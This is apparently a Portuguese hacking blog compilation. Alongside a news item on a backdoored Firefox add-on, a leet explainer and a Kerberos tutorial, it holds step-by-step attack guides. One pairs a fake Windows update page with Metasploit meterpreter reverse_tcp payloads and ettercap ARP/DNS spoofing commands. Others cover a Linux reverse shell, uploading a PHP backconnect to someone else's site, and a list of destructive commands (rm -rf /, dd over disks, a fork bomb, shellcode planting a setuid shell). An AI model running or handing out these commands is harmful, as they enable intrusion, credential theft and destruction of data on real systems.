Add-on de segurança do Mozilla com Backdoor

Um backdoor foi descoberto entre uma coleção de ferramentas de teste de segurança para o Firefox.
Autor: Paul Mutton

Um add-on do Mozilla firefox que explora vulnerabilidades em aplicativos web, que foi adicionado a coleção de ferramentas "Web Penetration Testing" do mozila, simplificava o processo das descobertas da vulnerabilizas.

Usando o Mozilla Sniffer add-on, você introduzia uma vulnerabilidade na aplicação que estava sendo testada, quando era gerado o formulários, o add-on secretamente enviava secretamente as senhas, copias das URL, informações e etc... para um suposto endereço IP controlado pelo autor, que supostamente estava mau intencionado... rsrs

O backdoor foi felizmente descoberto pelo usuário Mozilla Johann-Peter Hartmann(https://addons.mozilla.org/en-US/firefox/user/60371) do SektionEins (http://www.sektioneins.de) enquanto ele estava usando o Sniffer Mozilla add-on para testar a segurança do jogo online de um amigo.
Hartmann disse Netcraft:

"I was giving the OWASP Firefox Security Collection a try, installed a bundle of extensions unknown to me and started to have a look at a friend's online game from a security point of view. I started Burp Suite Pro in parallel to check what additional help I can get from the extensions, and to watch what they are doing."

Quando Hartmann registrado em jogo do seu amigo, ele notou uma solicitação HTTP incomum sendo feitas para o endereço relacionado no http://74.220.219.77. Este pedido transmitiu seu nome de usuário e senha para o servidor remoto, bem como a URL da página de login. 

Hartmann assumiu que este comportamento nefasto foi causado por um dos novos add-ons que ele tinha acabado de instalar, assim que definir sobre como extrair o código-fonte do add-ons e procurou a URL escondida. Ele ficou surpreso ao descobrir o código backdoor em um teste de segurança popular add-on chamado Tamper Data, mas isso foi porque o bandido real add-on - Mozilla Sniffer - estava compartilhando o mesmo UUID como o Tamper Data add-on, o que significa que tinha substituído o conteúdo  Tamper Data directory que era confiavel. Hartmann disse que esta era "uma maneira agradável de se esconder código backdoor". 

O Sniffer Mozilla add-on sobrescreveu alguns dos arquivos originais Tamper Data, e também um novo script chamado tamperPost.js. Isso injeta uma nova pesquisa () função, que é chamado quando um formulário é submetido pelo browser. Essa função procura todas as formas que têm campos de senha não-vazia e usa duas outras funções para enviar os dados roubados para o autor da fraude:

Depois de descobrir que o Sniffer Mozilla add-on foi a culpa, Hartmann relatou o problema para security@mozilla.org e ficou impressionado com a rápida resposta da Mozilla e profissional - ele recebeu uma resposta dentro de minutos ea prorrogação foi retirado do local pouco depois . Mozilla será automaticamente desativando o add-on para qualquer pessoa que tenha baixado e instalado.

Antes que add-on foi retirado, Hartmann também postou uma breve revisão para avisar outros usuários

O fraudador responsável pela criação do mal-intencionados add-on créditos (em Inglês fraco) e têm vindo a desenvolver Mozilla add-ons desde 2009, mas só criou uma conta no site no mês passado:

Os leitores do All Things Digital pode reconhecer a fotografia como sendo de gestão editor adjunto John Paczkowski, que confirmou a Netcraft que ele não é o proprietário desta conta Mozilla e que alguém tenha usado sua foto.

Embora a extensão do Mozilla Sniffer foi rotulado como "experimental", o autor mal-intencionado tentou adicionar o crédito, alegando que tinham sido "validados pela validação MOZILLA e revistos pelos desenvolvedores de mais de um addon" [sic]:

Mozilla confirmou posteriormente que não tinha comentado este add-on e estão atualmente trabalhando em um novo modelo de segurança que exigirá que todos os add-ons para ser código revisto antes de se tornar detectável em addons.mozilla.org.

Muitas aplicações web que são submetidos a testes de segurança não estão prontas e produção pode ter exposto vastas quantidades de dados e recursos para quem foi colher as URLs e senhas roubados por este add-on. Johann-Peter Hartmann Netcraft disse que esta era a primeira vez que ele tinha visto um Firefox add-on sendo utilizada como um backdoor, e questionou se verificar que muitas pessoas add-ons antes de usá-los, especialmente quando parecem vir de uma fonte oficial.


Imaginem os desenvolvedores do noscript fazendo isso? 
não da nem para imaginar o estrago.... rsrsrs

Escrita em leet (l33t, 1337, l337)

Leet é uma forma de se escrever o alfabeto latino usando outros símbolos em lugar das letras, como números por exemplo. A própria palavra leet admite muitas variações, como l33t, 1337 ou l337. O uso do leet reflete uma subcultura relacionada ao mundo dos jogos de computador e internet, sendo muito usada para confundir os iniciantes e afirmar-se como parte de um grupo.

Origem

Leet veio da pronúncia da palavra elite em inglês, no sentido de que o usuário que escreve em leet faz parte de uma elite dentro da comunidade. A expressão surgiu nos anos 80 como uma forma de taquigrafia , devido à baixa velocidade dos modems da época.
Com o surgimento de BBS e outros grupos de discussão, o leet se diferenciou do internetês pelo uso de símbolos e números no lugar das letras para contornar os mecanismos de auto-censura desses grupos, que proibiam o uso de palavras de baixo calão ou que pudessem estar contidas em mensagens ilegais (como hacker ou maconha). Adicionalmente, era mais difícil expulsar de uma discussão um usuário cujo nome estivesse escrito em leet porque era necessário digitar o nome.
Nos anos 90, o leet continuou a evoluir naturalmente pela substituição de palavras por formas populares ou erros comuns de digitação (por exemplo, the é escrito teh, you é escrito joo ou j00). Palavras próprias do leet também foram cunhadas, geralmente baseadas em abreviaturas da língua inglesa, como LOLLaughing Out Loud, ou rindo alto). (de
Nessa época, ele também passou a ser usado em contextos mais amplos, para confundir ou afirmar uma atitude, e se popularizou entre os usuários de jogos online e MMORPGs. Também se tornou comum o uso do leet de forma irônica, como uma crítica a pessoas viciadas nesse jogos. Assim como roupas e gírias, o leet passou a ser uma forma dos jovens se diferenciarem também na internet.

Leet em outras línguas

Outras línguas também passaram a adotar o leet, entre elas o espanhol, francês e próprio português. Dessa forma, o leet deve ser entendido não como uma língua nova, mas uma forma de reescrever uma língua, ou ainda como um método de criptografia.
Em línguas que usam outros alfabetos, como o russo e o japonês, também se desenvolveram formas de escrita análogas ao leet. Um motivo adicional, nesse caso, era a ausência dos alfabetos próprios dessas línguas nos primeiros computadores, forçando os usuários a, por exemplo, escrever russo com o alfabeto latino. No Japão, isso ficou conhecido pelo nome de Kusachu.

Escrevendo em leet

O nível mais básico do leet é a substituição de letras por números, sendo possível escrever mensagens cifradas com pouca dificuldade dessa maneira. Por outro lado, as mensagens nesse nível podem tranquilamente ser "traduzidas". Por exemplo, a frase Seja bem-vindo à Wikipédia, uma enciclopédia livre e gratuita, feita por pessoas como você em mais de 200 idiomas! poderia ser escrita da seguinte forma:

• 53j4 b3m-vind0 à Wikipédi4, um4 3ncic10pédi4 1ivr3 3 gr47ui74, f3i74 p0r p35504s c0m0 v0cê 3m m4is d3 200 idi0m4s!

Para evitar que tradutores automáticos detectem esse tipo de alteração, muitos escrevem alternando letras maiúsculas e minúsculas de maneira aleatória, ou ainda alteram letras por outras com um som parecido (como f por ph e s por z), dando origem a textos como o seguinte:

• 53j4 b3M-vInd0 Ah wIKiPeHdI4, uM4 3nCIc10peHDi4 1iVR3 3 Gr47Ui74, pH3i74 p0R p35504z c0M0 v0CeH 3m M4iz d3 200 iDi0m4Z!

Um nível adicional de complexidade ocorre com a substituição de letras por símbolos ou composições de símbolos, que se pareçam com as letras do alfabeto. Um exemplo comum é a substituição de N por |\|, que são parecidos graficamente. O usuário possui um grande grau de liberdade na escolha dessas substituições, sendo que a mesma letra pode ser escrita de maneiras diferentes no mesmo texto.

• 53_| 4 8 3|\/| -\/ ! |\| |) 0 4 |-| \|/ ! |< ! |> 3|-||) ! 4, |_| |\/| 4 3|\| ( ! ( 10|> 3 |-| |) ! 4 1! \/ .- 3 3 6 .- 47|_| ! 74, |> |-| 3! 74 |> 0.- |> 355042 ( 0|\/| 0 \/ 0( 3 |-| 3|\/| |\/| 4! 2 |) 3 200 ! |) ! 0|\/| 42 !

Uma última característica comum no leet é o excesso de exclamações. Como, na maioria dos teclados, o ponto de exclamação é digitado pela combinação de teclas Shift + 1, alguns desse pontos são ocasionalmente substituídos pelo numeral 1. Para dar um efeito cômico, é possível que ao invés de utilizar o caractere 1, seja utilizada a palavra one, ou talvez shiftplusone, ou mesmo shiftone (Shift e Um, exclamação), apesar de ser menos comum. A frase de exemplo, então, ficaria assim:

• 53_| 4 8 3|\/| -\/ ! |\| |) 0 4 |-| \|/ ! |< ! |> 3|-||) ! 4, |_| |\/| 4 3|\| ( ! ( 10|> 3 |-| |) ! 4 1! \/ .- 3 3 6 .- 47|_| ! 74, |> |-| 3! 74 |> 0.- |> 355042 ( 0|\/| 0 \/ 0( 3 |-| 3|\/| |\/| 4! 2 |) 3 200 ! |) ! 0|\/| 42 !!1!11!!!11SHIFTONE!!1!!1SHIFTPLUSONE!!1!!!ONEONEONE!!11!1!!1

Tabela do alfabeto leet

Essa tabela é um conjunto de sugestões para a escrita em leet, não sendo algo obrigatório. Algumas substituições estão intimamente relacionadas à língua inglesa, sendo pouco usadas fora dela.

A	4, /\, @, /-\, ^, ä, ª, aye	G	6, &, (_+, 9, C-, gee (,	M	//., ^^, |v|, [V], {V}, |\/|, /\/\, (u), []V[], (V), /|\	S	5, $, z, §, ehs	Y	Y, j, `/
B	8, 6, |3, ß, P>, |:	H	#, /-/, [-], {=}, <~>, |-|, ]~[, }{, ]-[, ?, 8, }-{	N	//, ^/, |\|, /\/, [\], , <\>, {\}, []\[], n, /V, ₪	T	7, +, -|-, 1, ']['	Z	2, z, ~\_, ~/_, %
C	[, ¢, <, (	I	1, !, |, &, eye, 3y3, ï, ][, []	O	0, (), ?p, , *, ö	U	(_), |_|, v, ü
D	|)), o|, [), I>, |>, ?	J	j, ;, _/,	P	|^, |*, |o, |^(o), |>, |", 9, []D, |̊, |7	V	\/
E	3, &, £, ë, [-, €, ê, |=-	K	X, |<, |{, ]{, }<, |(	Q	q, (_,)	W	\/\/, vv, '//, \^/, (n), \V/, \//, \X/, \|/
F	|=, ph, |#	L	1, 7 (note que 1 e 7 pode ser L ou T), 1_, |, |_, #, l	R	|2, P\, |?, |^, lz, [z, 12, Я	X	><, Ж, ecks ou )(

Fonte: http://pt.wikipedia.org/wiki/Leet

Inscrições Abertas para o H2HC 2010 - 7ª Edição

Hackers To Hackers Conference (H2HC) é uma conferência organizada por pessoas que trabalham ou que estão diretamente envolvidas com pesquisas e desenvolvimento na área de segurança da informação, cujo principal objetivo é permitir a disseminação, discussão e a troca de conhecimento sobre segurança da informação entre os participantes e também entre as empresas envolvidas no evento. Com treinamentos e palestras apresentadas por membros respeitados do mundo corporativo, grupos de pesquisas e comunidade underground, neste ano a conferência promete demonstrar técnicas que nunca foram vistas ou discutidas com o público anteriormente.

E por que realizar uma conferência onde podem ser demonstradas novas técnicas de ataque, novas ferramentas e pontos de inseguranças de sistemas? Porque queremos mostrar esse tipo de informação para o público, principalmente para pessoas cujo trabalho é proteger e aumentar a segurança dos sistemas e fazer com que eles entendam melhor como os outros atacam os seus computadores. As pessoas que atacam normalmente conhecem diversas técnicas e é importante que analistas de segurança, auditores de sistemas entre outras pessoas responsáveis pela segurança também saibam como se defender.

Como pode ser percebido ao acessar os melhores fóruns, sites e listas de e-mail sobre o assunto, encontrar falhas de segurança não é uma tarefa muito difícil. Para cada falha descoberta por um pesquisador e enviada a um fabricante, provavelmente existem outras que já são conhecidas por pesquisadores que não notificam o fabricante. E nós acreditamos que a melhor maneira para se proteger contra essas falhas desconhecidas é entender profundamente como os problemas acontecem e criar mecanismos de segurança para impedir uma classe de falhas, e não apenas aplicar as correções publicadas pelo fabricante e esperar que ninguém ataque seu sistema com 0day.

Temas e assuntos:
Tópicos incluídos, mas não limitados a:

  - Teste de Intrusão
  - Segurança de aplicações web
  - Técnicas de desenvolvimento de exploits
  - Segurança em telecomunicações e phone phreaking
  - Fuzzing e teste de Segurança de aplicações
  - Técnicas para desenvolvimento de software e sistemas seguros
  - Hardware hacking, sistemas embarcados e outros dispositivos eletrônicos
  - Exploração de dispositivos móveis, Symbian, P2K e tecnologia Bluetooth
  - Análise de vírus, worms e malwares em geral
  - Engenharia reversa
  - Rootkits
  - Segurança em ambientes Wi-Fi e VoIP
  - Informação sobre segurança em smartcard, RFID e similares
  - Abordagem técnica de sistemas operacionais alternativos
  - Ataques de negação de serviço e/ou contra-medidas
  - Aspectos de segurança em SCADA e ambientes industriais e redes "obscuras"
  - Criptografia
  - Lockpicking, trashing, Segurança fisica e exploração urbana
  - Internet, privacidade e Big Brother
  - Information warfare e espionagem industrial

Maiores informações na nova pagina do H2HC:
http://www.h2hc.org.br/index.php
Inscrições:
http://www.h2hc.org.br/inscricoes.php

Papel de parede do Backtrack 2010

SMTX criou o wallpaper, publicou no canal de IRC, acabou sendo nomeado o oficial do backtrack 2010.

Baixar: http://a.imageshack.us/img812/6884/btdmatrixwallpaper1980x.jpg

Fonte: http://www.s3cur1ty.de/backtrack-day-wallpaper-leaked

Internet e logon automático no Backtrack 4

Dica básica de como iniciar o backtrack 4 automaticamente e já configurado a internet.

Em modo gráfico, abra o Shell: 

kate /root/.bash_profile

Digite: 

start-network

wicd-client

Salve o arquivo e reinicie o micro. Você perceberá que carregará o modulo "wicd", vai mostrar no canto inferior esquerdo do painel, o ícone de conexão com a internet.

Novamente abra o arquivo .bash_profile:

kate /root/.bash_profile

Pode apagar o wicd-client que já esta configurado e digite:

start-network

startx 

Reinicie o micro novamente, você notará que vai pedir só o login e senha.

Assista on-line:

Testes básicos de redes

$ ping google.com               # Checando conexão com a internet
$ traceroute google.com         # Traçando rotas de pacotes IP
$ ifconfig                      # Configuração do host
$ route -n                      # Checando configuração de roteamento
$ dig [@dns-server.com] host.dom [{a|mx|any}] |less   # Checando os registros

$ ipchains -L -n |less          # Filtro de pacotes (2.2 kernel)
$ iptables -L -n |less          # Filtro de pacotes (2.4 kernel)
$ netstat -a                    # Ver todas as portas abertas
$ netstat -l --inet             # Ver todas as portas em escuta
$ netstat -ln --tcp             # Ver portas TCP em escuta

Web Application Exploits and Defenses

Quer vencer os hackers em seu próprio jogo?

    * Saiba como hackers encontrar vulnerabilidades de segurança!
    * Saiba como os hackers exploram aplicações web!
    * Saiba como pará-los!

A codelab mostra como vulnerabilidades de aplicativos web podem ser exploradas e como se defender contra esses ataques. A melhor maneira de aprender coisas que está fazendo, então você terá uma chance de fazer alguns testes de penetração real, na verdade, de exploração de uma aplicação real. Especificamente, você aprenderá o seguinte:

    * Como uma aplicação pode ser atacado com vulnerabilidades de segurança comum da web, como cross-site scripting (XSS) e falsificação de cross-site request (XSRF).
    * Como encontrar, corrigir e evitar essas vulnerabilidades comuns e outros bichos que têm um impacto na segurança, como ataques de negação de serviço, divulgação de informações ou a execução remota de código.

Para tirar o máximo proveito deste laboratório, você deve ter alguma familiaridade com a forma como funciona uma aplicação web (por exemplo, o conhecimento geral do HTML, templates, cookies, AJAX, etc.)

Saiba mais em - http://google-gruyere.appspot.com/

Atualização falsa [MITM+ettercap+metasploit+ES]

Nela aula eu mostro como usar engenharia social para efetuar um ataque. Na vídeo eu faço um MITM para redirecionar todo trafego de um host para meu micro, crio um backdoor com metasploit, faço uma pagina falsa de atualização do Windows que está em meu micro e inicio o apache, e espero que nosso alvo caia na engenharia social e execute o arquivo para que possamos ter acesso a maquina dele.

Programas usados:
Metasploit
Ettercap

Comandos:
msfpayload windows/meterpreter/reverse_tcp LHOST=SeuIP LPORT=8080 X > /NomeDoArquivo.exe
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost SeuIP
set lport 8080
exploit
*.*.* A SeuIP
echo 1 > /proc/sys/net/ipv4/ip_forward
ettercap -T -q -P dns_spoof -M ARP /IP do Router/ /IP do alvo/
/etc/init.d/apache2 start

HTML da pagina falsa: 
http://pastebin.com/PnVYNBqn
http://img831.imageshack.us/img831/9779/microsoft.jpg 


Informações:
Metasploit - www.metasploit.com
Ettercap - http://ettercap.sourceforge.net/index.php
MITM - http://en.wikipedia.org/wiki/Man-in-the-middle_attack
Backdoor - http://pt.wikipedia.org/wiki/Backdoor
Sobre a falha: http://www.microsoft.com/brasil/technet/security/Bulletin/MS08-067.mspx

Sobre o vídeo:
Tamanho: 34.5 mb
Formato: avi
Duração: 10:46 min
Musica: Tokens - The Lion Sleeps Tonight

Baixar: http://www.4shared.com/file/aAg8RG3f/Atualizao_falsa-MITMEttercapme.html

Backdoor - Shell reverse para Linux

Nessa vídeo aula, eu usei o metasploit para criar uma carga de shell reverse para sistema operacional linux. Deixo o netcat escutando na porta escolhido aguardando o arquivo ser executado em uma maquina linux.
 

Comandos:

/pentest/exploits/framework3/msfpayload linux/x86/shell_reverse_tcp LHOST=SeuIP LPORT=5050 C

nc -lvp 5050 

Programas usados:
Metasploit
Netcat


Informações:
Metasploit: www.metasploit.com
Conexão reversa: http://en.wikipedia.org/wiki/Reverse_connection
Linux: http://pt.wikipedia.org/wiki/Linux
Netcat: http://pt.wikipedia.org/wiki/Netcat


Sobre o video:
Tamanho: 13 mb
Duração:  5:44 m
Musica: Skazi - Anarchy

Créditos da vídeo vai para meu colega spawn!


Baixar: http://www.4shared.com/file/M6Po3L8y/Backdoor-Shell_reverser_linux.html

Comandos letais em Linux

Vou lista alguns comandos que não podem ser executados em hipótese nenhuma em seu distro, mas caso ainda deseje executar, segue a lista.

Esses causam panico no kernel ou congelam as distro:

dd if=/dev/random of=/dev/port
:( ){:|:&};:  -> Esse e conhecido fork bomb - http://en.wikipedia.org/wiki/Fork_bomb

Algum desse apagará todo seu diretorio home, raiz ou vai apagar seu distro inteiro:
sudo rm -rf /
rm -rf .*
dd if=/dev/zero of=/dev/sda
mkfs.ext3 /dev/hda
whatever > /dev/hda
cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
find -type f -mtime +30 -exec mv {} /dev/null \;
mv ~ /dev/null
mv / /dev/null

Esse e o mesmo que "rm -rf /" :
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esse vai impedir de executar comandos como root ou no diretório root:

rm -f /usr/bin/sudo;rm -f /bin/su

  

Esse são alguns dos comandos, mas a frente listo mais alguns...

 

Live Hacking CD

Hacking Live CD é uma distribuição Linux novo repleto de ferramentas e utilitários para hacking ético, testes de penetração e verificação contramedida. Baseado no Ubuntu este "Live CD" é executado diretamente do CD e não requer instalação em seu disco rígido. Uma vez iniciado você pode usar as ferramentas incluídas para testar, verificar, eticamente hack e realizar testes de penetração em sua própria rede para se certificar de que ele é seguro contra invasores externos.
O CD vem em duas formas. Um desktop Linux completo, incluindo uma interface gráfica (GNOME) e aplicativos como o Firefox junto com ferramentas e utilitários para DNS enumeração, reconhecimento, imprimindo-pé, quebra de senha e rede sniffing. Para uma maior acessibilidade, há um menu Live Hacking para ajudá-lo a encontrar rapidamente e lançar as ferramentas.
A segunda variação é o Live Hacking Mini CD, que é apenas linha de comando. Contudo, isto não retira o poder das ferramentas e utilitários incluídos como a maioria dos testes de penetração e ferramentas de hacking ético são ferramentas de linha de comando. O incluídos diretório /lh possui links simbólicos para os diferentes instrumentos incluídos.

Aqui está uma lista das ferramentas de hacking você pode encontrar no CD Live Hacking:

 Reconhecimento (and DNS)

• Dig - DNS lookup utility
• DNSMap - DNS mapping is a mechanism which allows hosts on a private LAN to use DNS Services even if the address of an actual DNS Server is unknown.
• DNSTracer - Trace DNS queries to the source
• DNSWalk - Checks DNS zone information using nameserver lookups
• Netmask - Helps determine network masks
• Relay Scanner - This program is used to test SMTP servers for Relaying problems
• TCPTraceroute - Traceroute implementation using TCP packets
• Firewalk - Firewalk is a network auditing tool that attempts to determine what transport protocols a given gateway will pass.

 

 Foot-printing

• Amap - Performs fast and reliable application protocol detection, independent of the TCP/UDP port they are being bound to.
• Curl - Get a file from an HTTP, HTTPS or FTP server
• Fping - Sends ICMP ECHO_REQUEST packets to network hosts
• Hping3 - Active Network Smashing Tool
• HTTprint - A web server fingerprinting tool
• Ike-Scan - IPsec VPN scanning, fingerprinting and testing tool
• MetoScan - HTTP method scanner
• Namp - The Network Mapper
• Netcat - TCP/IP swiss army knife
• P0f - Passive OS fingerprinting and masquerade detection utility
• Zenmap - The Network Mapper Front End

 

 Password Cracking

• Chntpw - NT SAM password recovery utility
• Rainbowcrack – Crack LM, MD5 and SHA1 hashes
• THC PPTP Bruter - A brute forcing program against PPTP VPN endpoints (TCP port 1723)
• VNCrack – Crack VNC passwords
• John the ripper - A fast password cracker

 

 Network Sniffing

• DHCP Dump – DHCP packet dumper
• Dsniff – Password sniffer
• SSLDump – Dump SSL traffic on a network
• Ntop – Displays top network users
• Wireshark – Interactively dump and analyze network traffic

 

 Spoofing (or Masquerading)

• File2cable - Sends a file as a raw ethernet frame
• Netsed – Network packet streaming editor
• Sing – Send ICMP Nasty Garbage packets to network hosts
• TCPreplay – Replay network traffic stored in pcap files

  

Wireless Networking Utilities

• Aircrack-ng - Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured.
• Kismet – Wireless sniffing and monitoring
• THC Leap Cracker - The THC LEAP Cracker Tool suite contains tools to break the NTChallengeResponse encryption technique e.g. used by Cisco Wireless LEAP Authentication.
• WEPCrack - WEPCrack is an open source tool for breaking 802.11 WEP secret keys.
• WIDZ - Wireless Intrusion Detection System
• Cowpatty - Brute-force dictionary attack against WPA-PSK

 

Miscellaneous

• GDB – The GNU Debugger.
• Hexdump – ASCII, decimal, hexadecimal and octal dump tool.
• Hexedit – View and edit file in hexadecimal or in ASCII
• Wipe – Securely erase files
• Madedit -Text/Hex Editor

 Baixar: http://www.livehacking.com/cd-dvd/download.htm

 

Backconnect em php - Metasploit

Ola pessoal, nesse tutorial vou mostrar com fazer um backconect em php encondado em base64, para temos acesso ao shell via conexão reversa.

Siga os seguinte passos:

Salve com extensão .php, faça upload do arquivo no servidor do site desejado.

Agora vamos deixar o netcat escutando na porta 2121.

Agora acionamos o arquivo Ex:

hxxt://www.site.com.br/imagem/Bhior.php?

É pronto... temos acesso a shell do site.

Programas usados:
Metasploit - http://www.metasploit.com/
Netcat - http://www.downloadnetcat.com/

Instalando o netcat no debian/ubuntu

root@bt:~# apt-get install netcat

Para versão de linux que utilizam pacotes rpm.

root@bt:~# rpm -Uvh netcat-version.rpm

Para os que preferem compilar os pacotes.

root@bt:~# wget http://osdn.dl.sourceforge.net/sourc...t-0.7.1.tar.gz

Vamos agora descompactar o pacote, entrar no diretório descompactado, e executar o script ‘configure’.

root@bt:~# tar -xzf netcat-0.7.1.tar.gz

root@bt:~# cd netcat-0.7.1

root@bt:~/netcat-0.7.1# ./configure

root@bt:~/netcat-0.7.1# make

Se você tiver problema com o comando make use o 'make install' se você tem os privilégios necessários, ou você pode simplesmente executar "src/netcat", que terá sido construído após uma bem-sucedida 'make'

Neste ponto, você já deve ter uma construção bem sucedida de netcat em algum lugar no seu sistema.

Lembrando que isso e para fins educacionais, não me responsabilizo pelo seu mau uso.

Como não tinha um domínio para eu poder demostra isso em vídeo, e logicamente que não iria me apoderar de domínios alheios(risos) para a pratica da vídeo, eu pedir a um colega, o Marcelo Moraes dono do site compilando ideia que e um dos parceiros do meu blog para poder fazer a vídeo aula em seu domínio.

Assitam on line:
youtube:
http://www.youtube.com/watch?v=NFtdecqCAV4

Site compilandoideias:
http://www.compilandoideias.com.br/Videos/video2.html

Kerberos vs NTLM

Ola pessoal, esse tutorial foi escrito por INEM, e tenho o maior prazer em divulgar o material no blog.
O INEM e administrador do www.forum-underground.com e um dos parceiros do blog.



TUTORIAL

KERBEROS vs NTLM

Olá pessoal,

Realizei um tutorial que explica a fundo o funcionamento do Protocol Kerberos, formas de quebrar essas senhas e também como protege-lo. A ideia deste tutorial fornece somente apoio a pessoas que estejam a estudar Networking e Redes em particular e em nada incentiva a possíveis quebras de segurança.

Em parte este tutorial foi realizado depois de uma vasta pesquisa na Internet e também por vários manuais que tenho da Microsoft. No entanto a parte onde me reserva direitos de autor totais é a parte de desenvolvimento onde retrato o procedimento do Kerberos e dos tickets detalhadamento. Créditos no Final.

Um Pouco de História:

Kerberos é um protocolo de autenticação do Projeto Athena. Tem esse nome em alusão ao Cão guarda de três cabeças (Cérbero) do deus Hades da Mitologia grega. Diversas versões do protocolo já existiram, as versões 1 até a 3 foram utilizadas somente dentro da MIT. Steve Miller e Clifford Neuman, foram os principais projetistas da versão 4 do Kerberos, publicada nos anos 80, ainda com foco no Projeto Athena.
A versão 5 foi projetada por John Kohl e Clifford Neuman e publicada em 1993 no RFC 1510 (Ficou obsoleto ao RFC 4120 de 2005), e teve como intenção melhorar a segurança e as limitações relativas a versão 4.

A MIT disponibilizou uma implementação livre sob licença BSD. Autoridades Norte-americanas/Estadundenses proibiram o uso do Kerberos, pois esse utiliza um algoritmo de criptografia com uma chave de 56-bit, chamado DES.

Eles consideraram que o protocolo prejudica a segurança nacional, porque impede que mensagens interceptadas sejam entendidas (Assim como qualquer aplicativo que utilize criptografia com chave maior que 40-bit). Uma implementação não americana do Kerberos, KTH-KRB foi desenvolvida pela Royal Institute of Technology na Suécia, tornando assim o sistema disponível fora dos EUA, até a mudança da regulamentação de exportação de criptografias.

A implementação Sueca é baseada em uma versão chamada eBones. eBones é baseado em um release da versão eBones da MIT (Retirado a criptografia e as chamadas a mesma) que por sua vez foi baseado na versão 4 do Kerberos atualização 9. Esse Kerberos limitado é chamado hoje como eBones. Uma implementação chamada Heimdal, foi feita basicamente, pelo mesmo grupo de pessoas e é baseada na versão 5 do Kerberos.

Windows 2000, Windows XP e o Windows Server 2003 utilizam uma variante do Kerberos, como seu método de autenticação padrão. As adições feitas no conjunto de protocolos do Kerberos pela Microsoft são documentadas no RFC 3244 chamado “Microsoft Windows 2000 Kerberos change Password and Set Password Protocols”. O Mac OS X da Apple também usa o Kerberos, tanto o cliente como o servidor.
Em 2005, o grupo chamado IETF “IETF Kerberos Workgroup” atualizou as especificações Kerberos. As atualizações incluem:

• "Encryption and Checksum Specifications" (RFC 3961),
• "Advanced Encryption Standard (AES) Encryption for Kerberos 5" (RFC 3962),
• Uma nova edição da especificação do Kerberos versão 5 "The Kerberos Network Authentication Service (V5)" (RFC 4120). Essa versão substitui o RFC 1510, tornando a especificação do protocolo mais transparente e o explicando de modo mais detalhado e limpo.
• Uma nova edição de especificação do GSS-API "The Kerberos Version 5 Generic Security Service Application Program Interface (GSS-API) Mechanism: Version 2." (RFC 4121).

Desenvolvimento: (by INEM)

O Kerberos é um complexo protocolo de autenticação existente em servidores windows nomeadamente 2000/2003 e 2008 que é devidamente descrito no RFC 1510 que pode ser consultado em: http://tools.ietf.org/html/rfc1510 .

Com a chegada do windows server 2000 em meados do ano 2000, o protocol LM e NTLM cairam em desuso para dar lugar a um protocolo de encriptação muito mais poderoso que se chama Kerberos. Este protocol passou a fazer parte dos sistemas operativos windows XP, 2000, 2003 e mais tarde do windows server 2008.

O Kerberos utiliza basicamente o protocolo Needham-Schroeder. O sistema de confiança tripla é chamado de Centro de Distribuição de Chaves (CDC), que é composta por duas partes separadas: um Servidor de Autenticação (SA) e Servidor de Concessão de Ticket (SCT). O Kerberos trabalha baseado em Tickets, que identificam os usuários.

O CDC mantém um banco de dados de chaves secretas; toda entidade de rede – tanto clientes como servidores – compartilham uma chave secreta que é apenas conhecido por eles mesmos e pelo CDC. O conhecimento da chave secreta pelo CDC é necessário para a identificação das entidades de rede. Para a comunicação entre as entidades o CDC gera uma chave de sessão temporária, que serve para garantir a privacidade das informações. (wikipédia).

Em uma sessão de domínio onde temos um cliente que pode ser uma workstation ou um vulgar desktop e um DC-Domaind Controller efectuando o papel de AD- Active directory, podemos verificar que a autenticação é sempre realizada por meio do Kerberos de forma transparente e segura para o usuário.

Esta autenticação não é visivel ao usuário final, no entanto a microsoft disponibiliza algumas ferramentas no “Resource Kit” para se poder realizar um “troubleshooting” efectivo e esclarecedor.

Neste tutorial eu vou apenas descrever e mostrar as ferramentas microsoft, deixando todo o funcionamento e protocolos, para os textos com as devidas fontes no final deste artigo para serem consultados com mais detalhe, limitando-me a apresentar somente as ferramentas kerbtray.exe e klist.exe.

Para começar precisamos de eleger um standalone server a um DC- controlador de domínio, e de seguida inserir uma máquina cliente no AD, de modo a que em um próximo logon do windows se consiga visualizar os respectivos tickets.

Eu neste exemplo apenas promovi um servidor windows server 2003 a PDC da minha floresta, não elegendo nenhuma máquina cliente a ter permissão de se logar no dominio que no meu caso é teste.local.

Contudo podemos verificar que o Próprio PDC- Primary Domain Controller que é por sua vez o KDC- Kerberos Distribution Center do meu domínio vai originar dois tickets para os seguintes serviços: host e krbtgt. O krbtg é o próprio serviço de kerberos então por norma não se define como serviço de ele próprio, mas consta de igual forma do kerberos tickets.

Serviços como por exemplo IAM$, Common Internet File System (CIFS) e LDAP são normais de verificarem nos tickets gerados pelos KDC, pois são serviços que são solicitados pelas estações clientes onde se vai gerar um TGT- Ticket granting Ticket para o protocol Kerberos se poder implementar durante as autenticações do mesmo.

É certo que o Kerberos v5 é um protocol excelente e muito utilizado nas comunicações de tecnologia cliente-cliente e cliente-servidor, contudo tem falhas de segurança grosseiras que muitos administradores de rede e de infraestrutura desconhecem...

Eu neste tutorial vou-me limitar a falar de uma delas, não vou fornecer nenhuma forma mágica para desencriptar este tipo de autenticação, mas vou falar de um erro que parece simples, mas faz toda a diferença. Ora vejamos:

Quando um Cliente tem necessidade de se autenticar junto de um File Server por exemplo, para fazer o download ou apenas consulta de algum ficheiro contido nele (permissões de Leitura apenas), ele tem duas formas possíveis; ou realiza o acesso através do SMB- send message block pela porta TCP445 um mapeamento a esse “shared drive”, ou tenta simplesmente ter acesso a ele pelos seus locais de rede.

